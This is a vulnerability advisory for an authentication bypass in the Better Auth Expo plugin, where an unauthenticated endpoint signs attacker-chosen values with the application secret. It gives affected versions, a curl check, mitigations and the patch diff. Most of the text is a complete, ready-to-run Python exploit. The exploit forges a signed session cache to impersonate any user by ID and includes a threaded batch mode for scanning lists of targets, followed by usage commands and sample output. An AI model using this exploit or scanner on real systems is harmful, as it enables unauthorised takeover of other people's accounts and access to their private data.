#Summary
CVE-2026-121802 is a critical authentication bypass vulnerability in the Expo plugin of Better Auth, a TypeScript authentication library. The /expo-authorization-proxy endpoint acts as an HMAC signing oracle, signing arbitrary attacker-supplied values without validating that they were issued by the server. Because the application uses the same HMAC-SHA256 secret and signing scheme across session tokens and cached session data, this oracle enables unauthenticated account takeover of any user whose ID is known. CVSS 9.1 CRITICAL (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
#Am I affected?
- Affected: @better-auth/expo (with better-auth core) versions 1.4.0-beta.6 through 1.7.15, and pre-release versions 1.8.0-beta.0 through 1.8.0-beta.4
- Patched: @better-auth/expo 1.7.16 and 1.8.0-beta.5 or later
- Default configuration: Vulnerable if the Expo plugin is registered and session cookie cache is enabled (compact strategy, the default)
- Access needed: Unauthenticated network access; attacker must know the victim's user ID for full account takeover (the signing oracle itself requires no credentials)
#How to check
The vulnerability is confirmed by probing the unauthenticated proxy endpoint:
curl -s "http://target:3000/api/auth/expo-authorization-proxy?authorizationURL=https://example.com/?state=test123" -i | grep -i "better-auth.state"Vulnerable target: Returns HTTP 302 with a Set-Cookie: better-auth.state=test123.<base64 signature> header, where the signature is the HMAC-SHA256 of your chosen test123 value.
Patched target: Returns HTTP 400 "Invalid authorizationURL" with no better-auth.state cookie set.
To check the version directly:
npm list @better-auth/expo better-auth#Fix and mitigation
- Fix: Upgrade to
@better-auth/expoversion 1.7.16 (or 1.8.0-beta.5 for pre-release branches) andbetter-authto the same version. - If you cannot upgrade immediately: Disable the Expo plugin if it is not in use, or restrict network access to the
/api/auth/expo-authorization-proxyendpoint to trusted internal networks only. - Critical: After upgrading, rotate the application secret immediately. Any HMAC signature forged before the patch remains valid until the secret changes.
- Detection: Monitor application logs for repeated requests to
/expo-authorization-proxywith varyingstateparameters, which is the signature of an exploit attempt.
#Root cause analysis
#The vulnerable endpoint
The Expo plugin in Better Auth 1.7.15 and earlier registers an unauthenticated GET endpoint at /expo-authorization-proxy. Its purpose is to proxy OAuth authorization redirects for mobile applications, but the implementation contains a critical flaw:
const state = url.searchParams.get("state");
if (!state) {
throw new APIError("BAD_REQUEST", { message: "Unexpected error" });
}
const stateCookie = ctx.context.createAuthCookie("state", {
maxAge: 5 * 60, // 5 minutes
});
await ctx.setSignedCookie(
stateCookie.name,
state,
ctx.context.secret,
stateCookie.attributes,
);
return ctx.redirect(ctx.query.authorizationURL);The endpoint extracts the state parameter directly from the caller-supplied URL and signs it with the application secret. There is no check that the server ever issued this state. The endpoint will HMAC-sign any value an attacker provides.
#Why this is critical: the signing oracle amplification
Two architectural facts turn this into a complete authentication bypass:
The
better-callsigned-cookie signature covers only the cookie value, not the name. Whenctx.setSignedCookiesigns a value, it computesHMAC-SHA256(secret, value)and produces a cookie with the formatvalue.signature. The cookie name is not part of the signed data. Therefore, a signature obtained for thestatecookie name is equally valid for any other cookie or token field that uses the same secret and HMAC construction.The same HMAC secret and construction backs the session cookie cache. The compact session cache (
better-auth.session_data) is a JSON object containing the user identity and session details, signed with the same secret:
signature: await createHMAC("SHA-256", "base64urlnopad").sign(
ctx.context.secret,
JSON.stringify({ ...sessionData, expiresAt: expiresAtDate }),
)When a user reads the cache, the server recomputes this HMAC and trusts the cached identity if the signature matches, without consulting the database. This cache check requires only that the token ID in the cache equals the token in the (separately signed) session token cookie. The database is never checked.
#The attack chain
An attacker chains these two facts into a complete account takeover:
- Self-register a throwaway attacker account to obtain a genuine signed
session_tokencookie and a realsession_datacache template (these can be reused without database checks). - Forge the cache payload by rewriting the identity fields (user ID, email, name) to point at the victim, while keeping the attacker's own token (the cache check compares only the token ID, not the database).
- Use the signing oracle to HMAC the exact byte string the server will verify. The oracle signature comes back in URL-encoded form as
Set-Cookie: better-auth.state=<value>.<base64 signature>. - Re-encode the signature from standard base64 (used by the oracle) to base64url-no-pad (used by the cache verifier), then build the forged cache cookie.
- Send
GET /get-sessionwith the attacker's real token cookie and the forged cache. The server validates the signature, trusts the cache, and serves the victim's identity without ever checking the database.
#The patch
The fix (commit f25081a, PR #12198) adds two guards:
Guard 1: Verify the server issued the state
+ // Only sign a state this server issued and still holds.
+ const verification =
+ await ctx.context.internalAdapter.findVerificationValue(
+ getAuthStateVerificationIdentifier(state),
+ );
+ if (!verification || new Date(verification.expiresAt) < new Date()) {
+ return ctx.redirect(authorizationURL);
+ }The endpoint now queries the verification table for the supplied state. If no record exists (which is always the case for attacker-chosen values), the endpoint redirects without setting the signed cookie. The oracle is closed.
Guard 2: Restrict redirect targets to configured OAuth providers
+ if (!(await isProviderAuthorizationOrigin(ctx, url))) {
+ throw new APIError("BAD_REQUEST", {
+ message: "Invalid authorizationURL",
+ });
+ }The endpoint now validates that the redirect target is an authorized OAuth provider origin, not an arbitrary external URL.
#Proof of concept
#exploit.py - Better Auth Expo Account Takeover PoC
#!/usr/bin/env python3
"""
CVE-2026-121802 - @better-auth/expo /expo-authorization-proxy HMAC signing oracle
Affected: @better-auth/expo (with better-auth core) 1.4.0-beta.6 <= v < 1.7.16
(also 1.8.0-beta.0 <= v < 1.8.0-beta.5)
Type: Authentication bypass / account takeover (CWE-346 / CWE-345 / CWE-287)
The Expo plugin registers an unauthenticated endpoint
GET <base>/expo-authorization-proxy?authorizationURL=<https url with ?state=...>
that HMAC-signs the caller-supplied `state` value with the application secret and
returns the result in a Set-Cookie header, WITHOUT ever checking that the server
issued that state. Because the better-call signed-cookie signature is computed over
the cookie VALUE only (not the name) and the same secret + HMAC-SHA256 construction
backs the session cookie cache, this endpoint is a general-purpose signing oracle:
an attacker can forge the signature on a session-cache payload and impersonate any
user whose id they know, with no valid credentials.
This exploit:
1. Self-registers a throwaway attacker account to obtain a genuine, well-formed
session_token cookie and a real session-cache (session_data) template.
2. Rewrites the template so the identity fields point at the victim, keeping the
attacker's own session token (the cache check never hits the database).
3. Uses the proxy as an oracle to sign the exact byte string the server will HMAC
when it reads the cache, re-encoding the signature from standard base64 to
base64url-no-pad.
4. Presents the forged cache + the attacker's real token cookie to get-session and
is served the victim's identity.
Usage:
python exploit.py --host 127.0.0.1 --port 3000 --victim-id <victim user id>
python exploit.py --host https://auth.target.com --victim-id abc123 --victim-email [email protected]
python exploit.py --host 10.0.0.5 --port 3000 # oracle-only proof (no takeover)
python exploit.py --list targets.txt --workers 20 # batch vuln/patched check
Notes:
- Without --victim-id the exploit still proves the signing oracle (the core bug).
- --base-path defaults to /api/auth (the better-auth default mount point).
"""
import argparse
import base64
import http.client
import json
import re
import secrets
import ssl
import sys
import time
from urllib.parse import urlparse, quote, unquote
CVE_ID = "CVE-2026-121802"
VULN_TYPE = "Auth Bypass"
PROXY_ENDPOINT = "/expo-authorization-proxy"
STATE_COOKIE = "better-auth.state"
TOKEN_COOKIE = "better-auth.session_token"
CACHE_COOKIE = "better-auth.session_data"
# Neutral external origin: must be https, no '#', and a different origin than the
# server's own baseURL. Nothing here identifies the tool.
EXT_ORIGIN = "https://sso.example.com/authorize"
# ----------------------------------------------------------------------------- output helpers
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------- encoding helpers
def b64url_decode(s: str) -> bytes:
return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
def b64url_nopad(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
def compact(obj) -> str:
# Must match the server's JSON.stringify: no spaces, insertion-ordered keys.
return json.dumps(obj, separators=(",", ":"))
# ----------------------------------------------------------------------------- HTTP helper
def _connect(host: str, port: int, use_tls: bool, timeout: float = 15.0):
if use_tls:
cx = ssl.create_default_context()
cx.check_hostname = False
cx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(host, port, timeout=timeout, context=cx)
return http.client.HTTPConnection(host, port, timeout=timeout)
def _request(host, port, use_tls, method, url, body=None, headers=None):
"""Return (status, body_text, list_of_setcookie_header_values)."""
conn = _connect(host, port, use_tls)
try:
conn.request(method, url, body, headers or {})
resp = conn.getresponse()
data = resp.read().decode("utf-8", "replace")
set_cookies = [v for (k, v) in resp.getheaders() if k.lower() == "set-cookie"]
return resp.status, data, set_cookies
finally:
conn.close()
def _cookie_value(set_cookies, name):
"""First Set-Cookie value for `name`, raw (still URL-encoded)."""
for sc in set_cookies:
m = re.match(r"\s*" + re.escape(name) + r"=([^;]*)", sc)
if m:
return m.group(1)
return None
# ----------------------------------------------------------------------------- core oracle
def oracle_sign(host, port, use_tls, base_path, value):
"""
Drive the signing oracle: get HMAC-SHA256(secret, `value`) back.
Returns (ok, sig_base64url_nopad_or_errstring).
"""
inner = EXT_ORIGIN + "?state=" + quote(value, safe="")
url = base_path + PROXY_ENDPOINT + "?authorizationURL=" + quote(inner, safe="")
status, _body, set_cookies = _request(host, port, use_tls, "GET", url)
raw = _cookie_value(set_cookies, STATE_COOKIE)
if raw is None:
return False, f"no {STATE_COOKIE} cookie (status {status}) - likely patched"
decoded = unquote(raw)
prefix = value + "."
if not decoded.startswith(prefix):
return False, "state cookie did not echo the submitted value"
sig_std = decoded[len(prefix):]
try:
raw_bytes = base64.b64decode(sig_std)
except Exception:
return False, "signature not valid base64"
if len(raw_bytes) != 32:
return False, f"signature is {len(raw_bytes)} bytes, expected 32 (HMAC-SHA256)"
return True, b64url_nopad(raw_bytes)
# ----------------------------------------------------------------------------- scan-mode probe
def _try_exploit(host, port, use_tls, base_path="/api/auth", **kwargs):
"""
Silent probe for --list. Confirms the signing oracle with a fresh random state.
Vulnerable -> server signs attacker-chosen state and returns it in a cookie.
Patched -> 400 / redirect with no state cookie.
Never prints, never exits.
"""
try:
probe = "poc-" + secrets.token_hex(12)
ok, info = oracle_sign(host, port, use_tls, base_path, probe)
if ok:
return True, f"signing oracle open - HMAC over attacker state returned ({info[:16]}...)"
return False, info
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
# ----------------------------------------------------------------------------- takeover chain
def register_attacker(host, port, use_tls, base_path):
"""Self-register + capture a genuine session_token cookie and session_data template."""
marker = secrets.token_hex(6)
email = "u_%s@poc.test" % marker
password = "Pw_%s_1!" % secrets.token_hex(6)
body = compact({"email": email, "password": password, "name": "poc_%s" % marker[:6]})
status, data, set_cookies = _request(
host, port, use_tls, "POST", base_path + "/sign-up/email",
body=body, headers={"content-type": "application/json"},
)
tok = _cookie_value(set_cookies, TOKEN_COOKIE)
cache = _cookie_value(set_cookies, CACHE_COOKIE)
if not tok or not cache:
# Account may already exist from a prior run; fall back to sign-in.
status, data, set_cookies = _request(
host, port, use_tls, "POST", base_path + "/sign-in/email",
body=body, headers={"content-type": "application/json"},
)
tok = _cookie_value(set_cookies, TOKEN_COOKIE)
cache = _cookie_value(set_cookies, CACHE_COOKIE)
return tok, cache, email
def forge_cache(template_b64, victim_id, victim_email, victim_name):
"""
Turn the attacker's real session_data template into the exact byte string the
server will HMAC (H), plus the surrounding object needed to rebuild the cookie.
Mutating values in place preserves key order, which is load-bearing for the HMAC.
"""
obj = json.loads(b64url_decode(unquote(template_b64)))
sd = obj["session"] # inner: {session, user, updatedAt, version}
# Point the identity at the victim; KEEP the attacker's own session token.
sd["user"]["id"] = victim_id
if victim_email is not None:
sd["user"]["email"] = victim_email
if victim_name is not None:
sd["user"]["name"] = victim_name
sd["session"]["userId"] = victim_id
# Push both expiries comfortably into the future.
future_iso = time.strftime("%Y-%m-%dT%H:%M:%S.000Z",
time.gmtime(time.time() + 7 * 24 * 3600))
sd["session"]["expiresAt"] = future_iso
exp_ms = int(time.time() * 1000) + 7 * 24 * 3600 * 1000
# H is exactly JSON.stringify({...sessionData, expiresAt}) that the verifier rebuilds.
H = compact({**sd, "expiresAt": exp_ms})
return sd, exp_ms, H
def build_cache_cookie(sd, exp_ms, sig_nopad):
value = compact({"session": sd, "expiresAt": exp_ms, "signature": sig_nopad})
return b64url_nopad(value.encode())
def get_session(host, port, use_tls, base_path, token_cookie, cache_cookie):
cookie_hdr = f"{TOKEN_COOKIE}={token_cookie}; {CACHE_COOKIE}={cache_cookie}"
status, data, _ = _request(
host, port, use_tls, "GET", base_path + "/get-session",
headers={"cookie": cookie_hdr},
)
return status, data
# ----------------------------------------------------------------------------- single-target exploit
def exploit(host, port, use_tls, base_path, victim_id, victim_email, victim_name):
header(host, port)
# --- Prove the core bug: the signing oracle ---
step(1, "Probing the signing oracle (unauthenticated GET /expo-authorization-proxy)...")
probe = "poc-" + secrets.token_hex(12)
ok, info = oracle_sign(host, port, use_tls, base_path, probe)
if not ok:
section("ORACLE RESPONSE", info)
done(False, "No signing oracle - target appears patched (" + info + ")")
section("SIGNING ORACLE", f"submitted state : {probe}\nserver returned HMAC-SHA256(secret, state) = {info}")
print("[*] The server signed an arbitrary attacker-chosen value with the application secret.\n")
if not victim_id:
done(True,
"Signing oracle confirmed - server HMAC-signs arbitrary attacker input with the "
"application secret. Re-run with --victim-id <id> to forge a session and impersonate that user.")
# --- Full account takeover via forged session cookie cache ---
step(2, "Registering a throwaway attacker account to capture a real session template...")
token_cookie, template, atk_email = register_attacker(host, port, use_tls, base_path)
if not token_cookie or not template:
done(False, "Could not obtain a session_token / session_data template "
"(email+password sign-up may be disabled on this target)")
print(f"[*] Attacker account: {atk_email}")
print(f"[*] Captured {TOKEN_COOKIE} and {CACHE_COOKIE} template.\n")
step(3, f"Forging the session cookie cache for victim id '{victim_id}'...")
sd, exp_ms, H = forge_cache(template, victim_id, victim_email, victim_name)
section("PAYLOAD TO BE SIGNED (H)", H[:400] + ("..." if len(H) > 400 else ""))
step(4, "Signing the forged payload through the oracle and re-encoding the signature...")
ok, sig = oracle_sign(host, port, use_tls, base_path, H)
if not ok:
done(False, "Oracle refused to sign the forged payload: " + sig)
print(f"[*] Forged cache signature (base64url-no-pad): {sig}\n")
cache_cookie = build_cache_cookie(sd, exp_ms, sig)
step(5, "Presenting the attacker token + forged cache to get-session...")
status, data = get_session(host, port, use_tls, base_path, token_cookie, cache_cookie)
section("GET-SESSION RESPONSE", data)
try:
parsed = json.loads(data)
except Exception:
parsed = None
got_id = (parsed or {}).get("user", {}).get("id") if parsed else None
if status == 200 and got_id == victim_id:
got_email = parsed["user"].get("email")
done(True, f"Account takeover - get-session returned victim id '{got_id}'"
+ (f" <{got_email}>" if got_email else "")
+ ", authenticated only as a throwaway attacker account")
done(False, f"Forged cache was not accepted (status {status}, user.id={got_id!r}) - target may be patched")
# ----------------------------------------------------------------------------- target parsing + scan
def _parse_target(line, default_port, default_path="/api/auth"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, base_path="/api/auth"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, base_path) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, base_path=path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------- entrypoint
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
parser.add_argument("--base-path", default="/api/auth",
help="better-auth mount path (default: /api/auth)")
parser.add_argument("--victim-id", default="",
help="Victim user id to impersonate. If omitted, only the signing "
"oracle is proven (no account takeover).")
parser.add_argument("--victim-email", default=None,
help="Victim email to show in the forged session (cosmetic)")
parser.add_argument("--victim-name", default=None,
help="Victim display name to show in the forged session (cosmetic)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, base_path=args.base_path)
else:
parsed = _parse_target(args.host, args.port, args.base_path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.base_path)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.victim_id, args.victim_email, args.victim_name)#Usage
Full account takeover (requires knowing the victim's user ID):
python3 exploit.py --host 127.0.0.1 --port 3000 --victim-id <victim user id>
python3 exploit.py --host https://auth.target.com --victim-id abc123 --victim-email [email protected] --victim-name "Victim Name"Prove the signing oracle without takeover (no victim ID needed):
python3 exploit.py --host 10.0.0.5 --port 3000Batch scanning across multiple targets:
python3 exploit.py --list targets.txt --workers 20Expected output - vulnerable target:
============================================================
ALIM EXPLOIT CVE-2026-121802
Type: Auth Bypass | Target: 127.0.0.1:3000
============================================================
[STEP 1] Probing the signing oracle (unauthenticated GET /expo-authorization-proxy)...
--- SIGNING ORACLE ---
submitted state : poc-96437e0e9c1774e10c1d07d4
server returned HMAC-SHA256(secret, state) = ynMx8DWKvO5S9TVwowPPC2-nNt5WRyG6V4z2LjKkITs
---
[STEP 5] Presenting the attacker token + forged cache to get-session...
--- GET-SESSION RESPONSE ---
{"session":{...},"user":{"id":"ebiIjphOxf4X6GFNiuCfM4gU88iPsROY",...,"email":"[email protected]",...}}
---
============================================================
RESULT : SUCCESS
EVIDENCE: Account takeover - get-session returned victim id 'ebiIjphOxf4X6GFNiuCfM4gU88iPsROY'
============================================================Expected output - patched target:
[STEP 1] Probing the signing oracle (unauthenticated GET /expo-authorization-proxy)...
--- ORACLE RESPONSE ---
no better-auth.state cookie (status 400) - likely patched
---
============================================================
RESULT : FAILURE
EVIDENCE: No signing oracle - target appears patched
============================================================#Exploitation notes
#Preconditions
- The Expo plugin is registered in the Better Auth configuration
- The
/api/auth/expo-authorization-proxyendpoint is accessible - For full account takeover: the session cookie cache is enabled (compact strategy, default), and the attacker knows the victim's user ID
- The attacker can self-register an account or has credentials for an existing account
#Reliability
The exploit is highly reliable. The signing oracle is immediate and deterministic, and the session cache forgery requires only exact replication of the server's JSON serialization and HMAC construction, which is straightforward. The only variable is whether the attacker can obtain a real session template (requires email+password sign-up to be enabled).
#Impact
Unauthenticated account takeover: An attacker can impersonate any user in the system without knowing their credentials, gaining full access to that user's account and all resources bound to it. The attacker can read private data, modify account settings, and perform actions as the victim.
#Chaining potential
The HMAC signing oracle can also forge:
- Standalone
session_tokencookies if the attacker can learn the exact token format - Time-based session proofs, if the application uses similar HMAC constructions elsewhere
If the application uses the same secret for OAuth JWT tokens (HS256), those tokens can also be forged via the oracle.
#References
- CVE: CVE-2026-121802
- GitHub Advisory: GHSA-4wq4-2ppv-q3hg
- Fix commit: f25081ac0476a9a4295f7a9736ae7239974c7b1e (PR #12198)
- Repository: better-auth/better-auth
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-121802
